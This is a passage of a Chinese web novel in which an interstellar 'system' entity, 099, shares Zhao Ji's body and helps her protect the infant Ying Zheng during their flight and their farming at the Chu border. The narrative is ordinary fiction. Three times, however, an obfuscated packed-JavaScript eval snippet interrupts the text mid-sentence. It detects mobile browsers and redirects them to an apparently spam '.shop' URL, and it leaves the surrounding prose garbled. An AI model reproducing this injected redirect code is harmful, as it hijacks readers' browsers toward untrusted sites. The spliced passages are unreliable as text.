099猛地睁眼,她把嬴政绑在胸前,钻出炭窑,趴在地上,把耳朵贴在地面,马蹄声,很多人,还有车轮声。 4. 第 4 章 099判断,不是军队,军队不会带这么多车,应是是流民。 099站起来,朝那个方向走去。 【她要混进去?】 【带着婴儿混进流民队伍?】 【风险很大,但一个人走更危险。】 099没理弹幕,她走进流民队伍的时候,没有人多看她一眼,逃难的人太多了,多一个少一个,没人注意。 099缩在队伍末尾,把嬴政的脸遮住,然后她闭上眼睛。 天亮之前,赵姬会醒,而她要做的,是在这之前,让赵姬“自然”地成为这支队伍的一员。 走了七天,说是流民,其实就是一群逃难的。赵国连年打仗,田地荒了,壮丁被抓了,剩下老弱妇孺,往南边逃。 赵姬混进队伍里,她不傻,一个人走太危险,跟着人流走,至少有个照应。 流民队伍里什么人都有。有拖家带口的老农,有抱着孩子的妇人,有断了腿的士兵,还有几个看着就不像好人的闲汉。 赵姬抱着嬴政,缩在队伍末尾。她不跟人说话,也不看人眼睛。她知道自己的身份,秦质子夫人,在赵国是死罪。虽然出了邯郸,但谁知道流民里有没有赵军的眼线? 白天,她跟着队伍走。晚上,她睡着,099上线。 前三天,还算太平。 第四天,出事了。 痢疾,不知道是谁先开始的,上吐下泻,发烧,脱水。一天之内,倒了七八个人。 流民们都慌了,他们不懂医术,只知道这是疫病,是老天爷降的灾。有人开始拜天,有人开始骂人,有人想跑。 赵姬也慌了,她抱着嬴政,离那些病人远远的。 “别过去,”她对自己说,不,是对“那个东西”说,“疫病会传染,政儿还小,染上了会死的。” 赵姬不知道“那个东西”能不能听到。但她还是要说,因为“那个东西”晚上会出来。 是夜,099上线,她第一件事,就是去看那些病人。流民们躺在破庙里、草棚下,哀嚎声此起彼伏。 099走过去,蹲下来,查看一个人的症状。那人吐了一地,浑身发抖,眼窝凹陷。 系统在报数据:【细菌性痢疾,病原体:志贺氏菌。脱水程度:中度。】 099想起以前,星际军事学院,第三年,野外生存课。 教官说:痢疾是古代最常见的致死疾病之一。在没有抗生素的时代,死亡率能到三成。 当时099坐在恒温教室里,觉得这个数据很遥远。现在,数据变成了眼前这个人。 099站起来,她对旁边的人说:“去烧水,水要烧开,放凉,加一点盐。” 没人动,流民们看着她,眼神空洞。 099没有再说第二遍,她自己去,找容器,打水,生火。盐是她从赵姬的包袱里翻出来的,仅剩的一小撮。她全用了。水烧开,放凉,加盐,她端着盐水,走到病人身边,一个一个喂。 然后099让人把病人分开,不要挤在一起。 099去找草药。系统数据库里有“古代痢疾常用草药”:马齿苋、黄连、白头翁。 她不认识这些草的样子,但弹幕里有植物学家。 【左边那个,对,叶子肉肉的,就是马齿苋。】 【黄连长在山沟里,根是黄的,苦得要命。】 【白头翁开紫花,你找找看。】 099在月光下找了大半夜,凑了一小捆草药。她回来,把草药煮成水,分给病人喝。 病人喝了,有的吐了,有的没吐,吐了的,她再喂。 一夜没睡,天亮的时候,有两个老人没撑住,死了。 但剩下的,病情稳住了。 赵姬醒来的时候,发现自己满手草药味。她愣了,再看周围,流民们看她的眼神,变了。不是以前的漠然,是那种,看神女的眼神。 “多谢夫人救命之恩。”一个中年汉子跪下来,给她磕头。 赵姬懵了:“我……我没……” 她说不出口,她不知道昨晚发生了什么,但她知道,是“那个东西”干的。 “那个东西”,会治病。 赵姬心情复杂,但她没有否认。因为她发现,自从被当成神女,她分到的食物变多了。 以前她只能分到一碗稀粥,现在有人主动给她送干饼。以前没人跟她说话,现在有人帮她抱孩子。 赵姬抱着嬴政,坐在火堆边,吃着别人送的干饼。她心里想:这“鬼上身”,好像也不是坏事。 晚上,099醒来,她做的第一件事,不是去看病人,而是去看嬴政。 嬴政睡在赵姬铺的干草上,小脸红扑扑的。嬴政一岁多了,已经断了奶,能喝米糊,能吃软烂的菜叶。 这半年在路上,099就是用系统教的“古代婴儿辅食”把他喂大的。 099伸手探了探,没发烧。她松了口气,然后她去看病人。 剩下的人,大部分都好转了。有几个还在拉肚子,但已经不发烧了。 099又煮了一锅草药水,喂他们喝。 “神女夫人,”一个老妇人拉着她的手,“您是大善人,老天爷会保佑您的。” 099低头看着那只枯瘦的手。她没说话,但她把老妇人的手轻轻放回去,继续喂药。 【主播,你被当成神女了。】 【哈哈哈哈,星际系统装神弄鬼。】 【但她是真的在救人啊。】 099没理弹幕,她喂完药,回到嬴政身边,婴儿还在睡,她坐在他旁边,守着。 日子一天天过去。 流民队伍走了半个月,痢疾终于控制住了。死了五个,剩下的都活了下来。 “神女”的名号越传越响。有人给她送吃的,有人给她送穿的,还有人想给她立牌位,被她拦住了。 “不必。” 赵姬白天享受着这些好处,心里却越来越虚。因为她不会治病,那些草药,她一个都不认识。那些人感激的“神女”,不是她,是“另外一个她”。 赵姬开始害怕,不是怕那个东西害她,如果那个东西想害她,早就可以动手了。她怕的是,那个东西哪天不在了。 那时候,她怎么办?政儿怎么办? 天快亮了,赵姬要醒了。099低头,看着嬴政的小脸。然后099伸出手,在嬴政的衣服上,用手指划了几道。留下很浅的凹痕。 “有人在看,小心。” 099写完了,然后她又看了嬴政一眼。火堆快灭了,只剩几点红光。幼儿睡得很沉,小手还攥着她的衣角。那只手比十一个月前大了些,但还是很小,指甲盖,只有米粒大。 099忽然伸出手,她用自己的手指,轻轻碰了一下嬴政的手指。幼儿在睡梦中,条件反射地攥住了她的手指,攥得很紧。 099没抽开,她就让他攥着。 系统后台,有一行数据在跳动:情感波动值:+12.7% 她没有看,她只是低声说了一句:“你长大以后,会记得这些吗?” 嬴政没有回答,他在睡梦中,把她的手指抓得更紧了。然后,他开口了,含含糊糊,几乎听不清。 但099听清了,嬴政说的不是“阿娘”,是“阿九”。 099的手,僵住了。她从来没有告诉过他,她叫099。她从来没有在他面前说过自己的编号。 赵姬不可能知道,他不可能知道,但他就是叫了,在梦里,含含糊糊地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459163|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫了一声:“阿九。” 099低头,看着怀里的幼儿,很久,然后她低声说:“嗯,是我。” 她闭上眼睛,天亮了,赵姬睁开眼。她低头,看到嬴政的衣服上,有几道浅浅的指痕,顺着指痕的方向,她一个字一个字读出来:“有、人、在、看、小、心。” 赵姬的手一抖,她猛地抬头,看向周围的流民。 没人看她,但她知道了,那个东西,在给她报信。 这是她们之间,第一次“对话”。 赵姬把嬴政抱得更紧了,她没有声张,没有惊慌。她只是,悄悄记住了那几个字的位置,然后她用袖子,把指痕擦掉了。 和那次擦掉雪地上的字一样,这是留给她的,只留给她的。 赵姬开始观察,白天,她一边抱着嬴政,一边用余光扫视流民队伍。她没有刻意看谁,但她把每一个人的脸,都记了一遍。 然后她看到了那个人,流民队伍里那个话很少的瘸腿老兵,姓石,大家都叫他石头。他断了一条腿,拄着根木棍,平时缩在队伍末尾,从不跟人说话。 赵姬白天从没注意过他,但现在,她注意了。 他看政儿的眼神,不对。那种眼神,像是在确认:这个孩子,是不是他要找的那个。 赵姬的脊背,窜上一股凉意。她没有声张,她只是把嬴政的脸遮住,低下头,继续走。 但她心里,有一个声音在说,“那个东西说的是真的,有人在看。” 弹幕: 【??????他在流民队伍里潜伏了多久???】 【历史课代表】:“补充背景:公元前258年,邯郸围城进入第二年。赵王迁对秦质子家眷的搜捕令,一直没有撤销。” 【所以他可能是赵军的探子?】 【也可能不是赵军。秦国质子府的家眷,在赵国是死罪,但在别的国家,是筹码。】 【细思极恐。】 【躺平局局长】:“完了,这下连流民队伍都不安全了。天地之大,没有这娘俩的容身之处。” 【不,有,秦国,只要到了秦国,她们就安全了。】 【但秦国还有多远???】 【系统地图显示:从当前位置到咸阳,直线距离约600公里,步行,至少三个月。】 【三个月,后面还跟着一个探子。】 【主播,赵姬,你们得快点走了。】 系统界面,在赵姬“睡着”之后,弹出一行小字: 【情感波动值累计:+21.9%】 【文明干预进度:0.011%(救活流民十七人,进度大幅提升)】 【任务状态:进行中】 【当前危机:潜伏探子(身份未明)】 【新增变量:咸阳方向开始关注】 【建议:尽快脱离流民队伍。】 那天晚上,出事了。 流民队伍里那几个闲汉,早就盯上了赵姬。一是她长得好看,赵姬本来就是歌姬出身,容貌出众。 二是她有“神女”的名头,有人信她,就有人恨她。三是她有个孩子,孩子是累赘,抢了孩子,她就会听话。 领头的叫张屠户,以前是杀猪的。膀大腰圆,一脸横肉。 那天傍晚,赵姬抱着嬴政去溪边打水。 张屠户跟了上来:“赵夫人。” 赵姬回头,心里一紧:“张大哥。” 张屠户笑,露出一口黄牙:“赵夫人别怕,我就是想跟您商量个事儿。” 他往前走了一步,赵姬往后退。 “您这神女的名头,可值不少钱。赵国现在到处在抓秦国的奸细。您说,要是有人去告密……” 赵姬脸色煞白:“你想怎样?” 5. 第 5 章 张屠户笑得更开了,露出一口黄牙:“不想怎样。就想让赵夫人陪我一晚,就一晚,之后我替你保密,保你平安到楚国。” 张屠户的手伸过来,摸赵姬的脸。 赵姬往后退,踩到溪边的石头,脚下一滑。嬴政从她怀里滑下去。 张屠户没在意一个婴儿,然后他听到了风声,一块石头,砸在他太阳穴上。 一岁多的小孩,刚会走路没多久,步子还不稳,但他捡石头的动作很稳,两只手捧着石头,踮起脚,用尽全身力气,抡上去了。 血,顺着张屠户的脸流下来。他捂着头蹲下去,惨叫还没出口,就被吓住了。 嬴政看着他。一岁多的孩子,站在溪边的石头上,和蹲着的成年男人平视。 他开口,声音还带着幼儿的软糯,但语调很平静:“阿娘说过,欺负人的,要打回去。” 断句短促,像是每个字都要用很大的力气才能说出来,但他说出来了。 赵姬愣在原地。 张屠户捂着流血的脑袋,抬头看着这个幼童,月光下,那双眼睛,黑得不正常,没有恐惧,没有愤怒,没有一岁孩子该有的任何东西,只有平静,像是,他已经这样做过很多次了。 张屠户的后脊梁,窜起一股凉气,他爬起来,跑了。 溪边,只剩下赵姬、嬴政,和月光。 赵姬看着自己的儿子,她张了张嘴,声音发抖:“政儿……谁教你……” 她刚问就止住了,是“那个东西”。 是那个每天晚上出来、对着空气说话、用手在虚空里划来划去的“东西”。 那个“东西”教她的儿子,被欺负了,要打回去。 赵姬蹲下来,看着嬴政。月光下,他的眼睛还是那么黑,那么亮。 嬴政伸出手,摸了摸赵姬的脸:“阿娘不怕。” 赵姬的眼泪,终于掉下来了。 第二天,张屠户消失了,没人问为什么。 赵姬也没问,不过她注意到了另一件事,那个瘸腿老兵,也不见了。 赵姬记得那个老兵,姓石,大家都叫他石头。平时缩在队伍末尾,从不多话。 赵姬以前从没注意过他。但自从衣服上出现那行指痕之后,她开始注意每一个人。 她记得,昨天晚上,嬴政砸人的时候,溪边的树林里,有一个人影,月光照不到他的脸,她看到了他的腿,有一条腿,是拖着的。 那个人看到了政儿用石头砸人,他看到了政儿说话。他看到了政儿的眼睛。 赵姬的手开始发抖,担心政儿。一个一岁的孩子,能说出“欺负人的要打回去”,这件事如果传到赵军耳朵里,政儿就不是秦质子之子,是妖孽了。 赵姬把嬴政抱起来,裹进怀里,她没有等天黑。以前她遇到事,会等“那个东西”出来解决。治病是这样,赶路是这样,一切都是“那个东西”在做。 但这一次,她等不及了,因为那个老兵,已经走了。他回来的时候,她们就有危险了。 赵姬抱着嬴政,站起来,她看了一眼流民队伍,这支她跟着走了一个多月的队伍,然后她转身,朝相反的方向走去。 赵姬走了一段路,低头看着怀里的嬴政,幼儿睁着眼睛,看着她。 “政儿,”她哑着嗓子说,“娘以前,不是一个好娘。” 嬴政眨了眨眼。 “但娘以后,会学。”赵姬深吸一口气,把嬴政抱得更紧了,她迈开步子,一个人,抱着孩子,走进夜色。 方向:西。 同一时刻,三里外。 张屠户捂着头,血从指缝里渗出来,他找到了流民队伍外围的几个人,是白天缩在队伍末尾、从不说话的那几个。 领头的,是那个瘸腿老兵。 张屠户的声音发抖:“那个娘们,她儿子是妖怪。” 瘸腿老兵低头看着他:“多大的儿子?” “一……一岁多。” 老兵沉默了一会儿,然后他蹲下来,和张屠户平视。 “你确定,石头是他自己捡的?” “是他自己捡的,他自己砸的,他还说——”张屠户的声音发抖,“他说‘欺负人的要打回去’。一个一岁的娃娃,说这种话……” 老兵站起来,他没有看张屠户,他看向流民队伍的方向。那个妇人抱着孩子,缩在队伍末尾的位置,已经空了。 “一岁多。”老兵低声重复了一遍,然后他转身,走向另一个方向。 张屠户愣住了:“你去哪?” 老兵没回头,他走了一段路,停下来,从怀里掏出一块布帛,布帛上画着一张脸,赵姬的脸。 布帛最下方,盖着一个印,赵王的印。 他把布帛收回怀里,继续走,方向是西北的赵军前哨站。距离这里四十里。 晚上,099看到赵姬的记忆里,白天的画面。 张屠户捂着流血的头,蹲在地上,嬴政,一岁的婴儿,拿着石头,眼神平静。 099盯着那个画面,顿住了。 【卧槽。】 【卧槽卧槽。】 【一岁的婴儿,拿石头砸人脑袋???】 【还砸出血了???】 【还说了“欺负人的要打回去”???】 【这眼神,是秦始皇?】 【主播你养的是霸王龙。】 099低头,看向怀里的嬴政,他已经睡了,小脸红扑扑的,呼吸均匀。那只砸过人的小手,此刻正攥着她的衣角。 099伸手,轻轻掰开他的手指,掌心里,还有石头的碎屑。 她没有擦掉,她把那只小手握在自己掌心里。 系统后台,备忘录自动打开。 099敲下一行字:【观察记录更新:任务目标首次展现攻击性。年龄:约1岁3个月。触发条件:原主受威胁。行为:用石头攻击成年男性头部,致出血。语言:清晰陈述行为逻辑。】 【评估:异常。超出该年龄段行为发育标准。】 【备注:他用的句式,是我教的。】 【他记住了,并且,他做到了。】 099关掉备忘录,她握着嬴政的小手,闭上眼睛。 【情感波动值:+5.6%】 【警告:情感波动超过安全阈值。】 【建议:立即进行情感隔离。】 099没理系统的警告。然后她看到了赵姬后面的记忆。赵姬发现老兵不见了的记忆。 赵姬抱着嬴政离开流民队伍的记忆,赵姬说“娘以后会学”的记忆,赵姬往西走的记忆。 099猛地睁开眼睛,她调出系统地图,赵姬的移动轨迹,一条淡蓝色的线,正在向西延伸。而在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459164|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同一条地图上,另一个红点,也在向西移动。速度更快。 红点和蓝线,在前面会交汇。 交汇点的名字,系统地图上标注着:赵军前哨站。 预计接触时间:赵姬,2小时17分钟后。老兵,1小时48分钟后。 099低头,看着怀里的嬴政,幼儿还在睡,浑然不知。 弹幕: 【完了完了完了完了。】 【赵姬在往枪口上撞!!!】 【赵姬不知道老兵是赵军探子!!!】 【赵姬只是想保护政儿!!!】 【主播你快想办法啊!!!】 【等等,主播现在是醒着的吗?】 099是醒着的,但她的身体,是赵姬的身体,赵姬睡着的时候,099才能用。 现在赵姬醒着,在往西走,意味着赵姬在“用”自己的身体,099被锁在意识深处。她只能看,不能动。 099打开系统面板,查看能量槽。 【能量剩余:68%】 【消耗率:每日约1.2%】 【预计可用天数:56天】 099皱眉,消耗太快了。夜视、热感应、扫描、直播信号传输,每一项都在耗能。 099需要能量,但能量的唯一来源,是直播间观众的打赏,而打赏,取决于她有没有精彩内容。 【主播,你能量不多了?】 【才68%?】 【我记得开始是100%啊,这才多久?】 【消耗这么快???】 099关掉面板,她抱着嬴政,靠在干草堆上。 窗外,月亮很圆,在星际空间站的时候,她从来没有看过月亮,没有时间看,现在,她有大把的时间。 但她怀里,有一个需要她花所有时间去养活的幼崽。 而她只能等,等赵姬“睡着”。等身体的控制权回到她手里,等天亮。 系统显示:距离赵姬预计睡眠时间,还有4小时28分钟。距离赵姬到达交汇点,还有2小时17分钟。 弹幕: 【来不及了。】 【赵姬到达交汇点的时候,099还没醒。】 【她们要撞上赵军了。】 【而099只能看着。】 【这就是最绝望的,她知道一切,但她动不了。】 099盯着系统地图,蓝线在延伸,红点在移动,此时的她做不了什么,只能靠赵姬自己了。 赵姬抱着嬴政,走在月光下,她不知道前面是赵军前哨站。她只是往西走,一直往西,然后她听到了马蹄声,好几匹的马蹄声,从前面来的。 赵姬停住,她想跑,但雪地里跑不过马。她想藏,但路两边是光秃秃的田地,没有藏身之处。 她低头看了嬴政一眼,幼儿睁着眼睛,看着她。 赵姬深吸一口气,她没有跑,她抱着嬴政,继续往前走,迎着马蹄声。 火把亮起来的时候,她看清了来人,五个赵军骑兵,领头的校尉勒住马,低头看着她。 “什么人?” 赵姬抬起头,月光照在她脸上。 校尉的眼神变了,他认出来了,他从怀里掏出一块布帛,展开,布帛上画着她的脸。 “秦国质子夫人,赵姬。”校尉说,“找你很久了。” 6. 第 6 章 赵姬看着他,没有说话,她的手在抖,但她的声音没有抖。 “你认错人了。” 校尉冷笑:“认错?这画像与你九分相似。” 赵姬笑了一下,淡定地说:“军爷,您这画像,是从邯郸送出来的吧?” 校尉没说话。 赵姬继续说:“邯郸到这儿,一年半载的,够一个女人变很多了。” 她指了指自己的脸,“您看我这张脸,像是秦国质子夫人吗?” 校尉盯着她看。赵姬的脸上,有冻伤的痕迹,有风沙磨出的粗糙,有营养不良导致的暗沉。她确实不像那个画在布帛上的、养尊处优的质子夫人。 校尉犹豫了,就在这时,怀里的嬴政忽然哭了,他咧着嘴,嚎得中气十足,口水都流出来了。 赵姬赶紧哄:“乖,乖,娘给你找吃的。” 她一边哄,一边用余光看校尉。 校尉皱着眉头,一个秦质子夫人,会带着孩子在这荒郊野外饿哭?秦质子府的人,会沦落成这样? 校尉收起布帛。“走吧。”他调转马头。 赵姬抱着嬴政,低头退到路边,马蹄声远去。她等了很久,才抬起头,她的后背,全是冷汗。 嬴政不哭了,他睁着眼睛看着她。 赵姬低头,把脸贴在他的额头上,“政儿,” 她哑着嗓子说,“娘刚才,演得好不好?” 嬴政没有回答,但他的小手,攥住了她的衣领。 赵姬深吸一口气,继续往西走。她不知道,那个校尉走后没多久,遇到了一个人。 一个瘸腿老兵。老兵拦住了校尉的马:“军爷,刚才那个妇人——” 校尉不耐烦:“怎么了?” “她怀里那个孩子。”老兵说,“一岁多,会说话。会说欺负人的要打回去。” 校尉的脸色变了,他调转马头,但赵姬,已经不在那条路上了。 那晚之后,赵姬不敢再走大路,她带着嬴政,专挑小路、山路、没人走的路。 她往南走,因为西边是秦国,但西边也有赵军,她听流民说过,楚国边境管得松,逃难的人多,容易混进去。 走了十天,干粮吃完了,水囊空了,鞋磨破了。第十一天傍晚,赵姬看到了楚国的界碑。一块石头,上面刻着一个“楚”字。石头旁边,是一条土路,土路尽头,是一个村子。 赵姬站在界碑旁边,抱着嬴政,看着那个村子,她把嬴政抱得更紧了。 “政儿,”她说,“咱们到了。” 嬴政在她怀里,吮着手指,看着那个陌生的村子。 赵姬在楚国边境的村子里住了下来,她没有钱,没有地,没有亲人。她只有怀里这个孩子,和一把,她摸了摸袖口,从路上捡的钝刀。 她有时候会想起那晚的事,想起校尉的脸,想起政儿的眼睛,想起自己说“你认错人了”时心跳的声音。但她不敢多想,多想会怕,怕了就走不动了。 流民队伍早就散了。不是散伙,是死的死,走的走。到了楚国边境,剩下的不到原来的一半。 赵姬不想再跟着那些人了,张屠户的事让她害怕,谁知道还有没有第二个、第三个张屠户? 一个人走,至少不用提防谁,但她很快发现,一个人走,更难。 因为钱,快没了。 嬴异人留下的那些首饰,该当的当了,该卖的卖了。换来的钱买了粮食、买了布、买了药,剩下的不够再撑十天。 赵姬开始焦虑。她试着用最后几枚铜钱,跟村里的农人换粮。 农人看了看她的铜钱,又看了看她的脸:“夫人,您这钱,不够。” “怎么不够?昨天还能换一斗粟。” “昨天是昨天,今天是今天。粮食涨价了。” 赵姬咬牙:“那能换多少?” “半斗。” 半斗,够她和政儿吃几天?五天?七天? 赵姬把铜钱递过去,换回半斗糙粟,她抱着嬴政,坐在村口的大树下,看着那半斗粟发呆。怀里的嬴政,饿得吮手指。 “政儿别吃手,脏。”赵姬把他的手从嘴里拽出来。 嬴政又伸进去。她又拽。 嬴政不干了,嘴一瘪,要哭。 赵姬赶紧把他抱起来哄。哄了一会儿,嬴政不哭了,但还在吮手指。 赵姬看着他,眼眶一红,她忍住了,没哭。 晚上,099看到那半斗粟,又看了看嬴政,他瘦了,原本圆滚滚的小脸,现在尖了。 099伸手探了探他的体温,正常,但体重,比一周前轻了3%。 营养不良。 099打开系统数据库,搜索“战国楚国粮食获取方式”。 搜索结果:种田、打猎、采集、偷窃、乞讨。 种田,需要地、种子、工具、时间。 打猎,需要武器、技能、力气。 采集,可行,但冬天,能吃的野菜不多。 偷窃,不道德。 乞讨,赵姬不会同意。 099沉默了一会儿。然后她打开直播间:“各位,我需要一个种田方案。” 【种田???】 【主播你要在战国种田???】 【可以啊,古代农业技术落后,你随便拿个星际知识就能碾压。】 弹幕里的农业专家开始上线。 【首先,你需要地。荒地就行,不要钱。】 【然后,你需要种子。找当地人买最差的粮种,便宜。】 【然后,你需要肥。人畜粪便堆肥,星际农业标准流程。】 【然后,你需要水。找靠近水源的地。】 【楚国冬天不算太冷,可以种越冬的菜。白菜、韭菜、萝卜,一个月就能吃。】 099一条一条记下来,她合上数据库,看了一眼能量槽65%,还能撑,她站起来,开始干活。 第二天,赵姬醒来,发现自己手里拿着一张布帛。上面写着:“去买菜种,找荒地,我来种。” 赵姬低头看着那行字,字迹和一年前那张“政儿,勿弃”一模一样,她抿嘴沉思了下,把布帛叠好,塞进袖子里,去了集市。 集市上,她找到卖种子的老农:“菜种,最便宜的。” 老农看了她一眼,递过来一小包:“三铜钱。” 赵姬打开看了看,瘪的,碎的,混着沙土,出苗率不会高。 “就要这个。” 赵姬她拿着种子,在村外找了一块荒地,靠近溪水,朝南,能晒到太阳,她把种子放在地头,然后等着。 是夜,099看到种子和地,满意地点点头,然后她开始干活。翻地,没有锄头,用削尖的木棍。 099花了两个晚上,翻了半分地,手磨出了血泡,她也没停。 堆肥,去村里收集人畜粪便,混上干草、草木灰,堆在一起发酵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459165|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 弹幕里的农业专家实时指导: 【粪和草的比例,一比三。】 【对,一层粪一层草,堆起来。】 【浇点水,保持湿润。】 【盖上一层土,保温。】 099照做。播种,把种子撒在地里,盖上薄土,浇水。 搭暖棚,砍竹子,削成竹片,弯成拱形,插在地两边。上面盖上稻草编的帘子,白天掀开晒太阳,晚上盖上保温。 099忙了整整五个晚上。 【主播,你能量消耗又快了。】 【现在还剩多少?】 【60%?】 099没看能量槽。她蹲在地头,看着那片刚播下种子的地。 系统扫描显示:土壤湿度适宜,温度适宜,种子已埋入。 只等发芽。 赵姬白天来看地,她看到那片被翻过的、整整齐齐的地,错愕了很久。土是松的,湿的,带着一股粪肥的味道。地头整整齐齐码着竹片拱架,上面盖着稻草帘子。 赵姬蹲下来,摸了摸土,低声呢喃:“这是她干的。” 她站起来,看着那片地,心里好奇,“她”到底是谁?“她”从哪来?“她”为什么要帮自己和政儿? 赵姬想知道答案。 十几天后。菜苗出土了,嫩绿的,一小片,在暖棚里挤挤挨挨,小白菜、韭菜、萝卜缨子,绿油油的。 099蹲在地头,看着那些菜苗,面无表情。但她的手指,在膝盖上握紧了。 弹幕: 【主播,你眼眶红了。】 【没有,是风沙。】 【暖棚里哪来的风沙?】 【嘴硬。】 099拔了一棵小白菜,洗干净,放在嘴里嚼。生的,涩的,带着泥土的味道,但她觉得,这是她吃过最好吃的东西。 赵姬白天来收菜,她看着那一小片绿油油的菜地,沉默了很久。然后她蹲下来,开始拔菜,她不会种,但她会收。 她把菜捆好,带到集市上去卖。卖完菜,她站在集市口,数着手里的几文钱。然后她走进铁匠铺。 “一把刀。”她说,“最小的那种。” 铁匠看了看她,递过来一把。巴掌长,很锋利。 赵姬把刀藏在袖子里,她告诉自己:这是防身的,但她心里知道,不全是。 那晚面对赵军校尉的时候,如果她有这把刀,她会用吗?她不知道,但她知道,下次再遇到那样的事,她不想只靠政儿的眼睛来救自己。 赵姬把刀藏好。 是夜,099发现赵姬的记忆里,多了一把小刀,藏在枕头底下,赵姬睡前,摸了好几次。 099沉默。 弹幕: 【主播,赵姬想干什么?】 【她该不会是想对付你?】 099没回答,她看了一眼嬴政,他睡得很香,小脸贴在干草上。菜吃了几天,脸上的肉回来了一点。 099打开系统面板,能量剩余:52%。剩余可用天数:43。她关掉面板,至于那把刀,再说。 赵姬做了一个决定,自从那日在地头看到被翻整过的土地、在集市卖掉“自己”种出来的菜,她就知道身体里那个东西,不是鬼。 鬼不会种田,鬼不会治病,鬼更不会对着空气比划,嘴里还念叨些听不懂的词儿。 今夜,她要看看,“她”到底在干什么。 7. 第 7 章 赵姬把嬴政哄睡了,轻轻掰开他的手指,把衣角抽出来,然后她躺在木床上,闭上眼睛,呼吸放匀,不动。 赵姬在等,等“另外一个她”出来。半个时辰过去了。赵姬差点睡着。她咬了一下舌尖,疼得清醒过来,又过了小半个时辰。 忽然,她感觉到自己的身体,不对劲。 赵姬拼命睁着眼睛,透过自己的眼皮,她“看到”了自己。不,是“另外一个她”,在动。 “她”坐起来了。 赵姬的灵魂缩在身体最深处,眼睁睁看着“自己”下炕、穿鞋、走到窗边。月光照进来。“她”站在月光里,抬着手,对着空气划来划去。 赵姬眯着眼看,什么都没有。但“她”面前,分明有什么东西。因为“她”的眼睛在跟着什么移动。嘴角还会偶尔动一下,像是在跟谁说话。 赵姬听到“自己”嘴里说了一些她完全听不明白的话。 【“能量……52%。”】 【“幼崽……体重回升……达标。”】 【“数据库……检索……”】 那是什么?“她”又在跟谁说话? 赵姬盯着“自己”看。月光下,“她”的侧脸和她一模一样,但表情不一样,赵姬知道自己平时是什么样,会笑,会哭,会烦,会怕。但“她”没有表情。 “她”不是人,赵姬心里冒出这四个字。 就在这时,“她”动了,“她”走到嬴政身边,蹲下来。嬴政睡得很沉,“她”没有叫醒他,“她”只是伸出手,用指尖,很轻很轻地,碰了碰嬴政的眉心。 然后“她”开口了,声音很轻,轻到赵姬差点没听见。 “你会活下来的。” “你会成为你该成为的人。” “我会……帮你。” 赵姬的意识,在身体深处,僵住了。 这是“她”第一次,在没有人的时候,说这样的话。赵姬意识到,“她”不是不害怕,“她”只是不说。 天快亮的时候,“她”回来了,赵姬感觉身体被还了回来,她睁开眼,发现自己的手在抖,她把手攥成拳头,压在胸口。 不能怕,不能怕,“她”要是想害自己,早就害了。 但万一呢?万一哪天,“她”不想还了呢? 赵姬闭上眼睛,她做了一个决定。 天亮以后,赵姬照常起来,喂嬴政,收拾东西,但她看嬴政的眼神,变了,她在找“那个东西”留下的痕迹。 嬴政一岁半了,一岁半的孩子,能说的词越来越多了。有些是赵姬教的,“娘”、“饿”、“抱”。有些是099教的,“星”、“火”、“不哭”。 但“娘”这个字,他对着赵姬说过,也对着099说过。赵姬以前没注意过区别。但今天,她注意了。 她蹲下来,看着嬴政的脸:“政儿。” 嬴政抬头看她,眨了眨眼:“阿娘。” 赵姬心里一紧,她犹豫了一下,然后问:“政儿,你告诉娘,那个阿娘,她,对你好吗?” 嬴政点了点头:“好。” “怎么好?” 嬴政想了想,说:“她教政儿说话。她给政儿讲故事。她抱着政儿,看火。” 赵姬的眼眶红了,她不知道自己在哭什么,是嫉妒?是害怕?是松了口气?还是都有? 她低下头,想把眼泪擦掉。 嬴政看着她,忽然伸出小手,指了指赵姬的脸:“这个阿娘。” 赵姬愣住。 然后嬴政的手往下移,指到赵姬的胸口,心脏的位置:“那个阿娘。” 赵姬的血液凝固了,她的心脏,忽然猛跳了一下。政儿知道,他一直都知道,他知道“这个阿娘”和“那个阿娘”,住在同一个身体里。】 赵姬张了张嘴,想问:她是谁?她从哪里来?她为什么要住在我的身体里?但她问不出口。她怕答案。 嬴政看着她的表情,伸手摸了摸她的脸:“阿娘不哭。” 赵姬伸手一摸,脸上湿的,她哭了。 她把嬴政抱进怀里,抱得很紧。 “政儿,”她哑着嗓子说,“这件事,不要告诉任何人。” 嬴政眨了眨眼:“为什么?” “因为……”赵姬顿了顿,“这是我们的秘密。” 嬴政歪着头看她,然后点了点头:“秘密。” 他伸出小手,用小拇指勾住赵姬的小拇指:“拉钩。” 赵姬想,这是“那个东西”教他的。 她红着眼眶,笑了:“好,拉钩。” 099在意识深处,看到了这一切,系统后台,有一行数据在跳动:情感波动值:+8.2%。 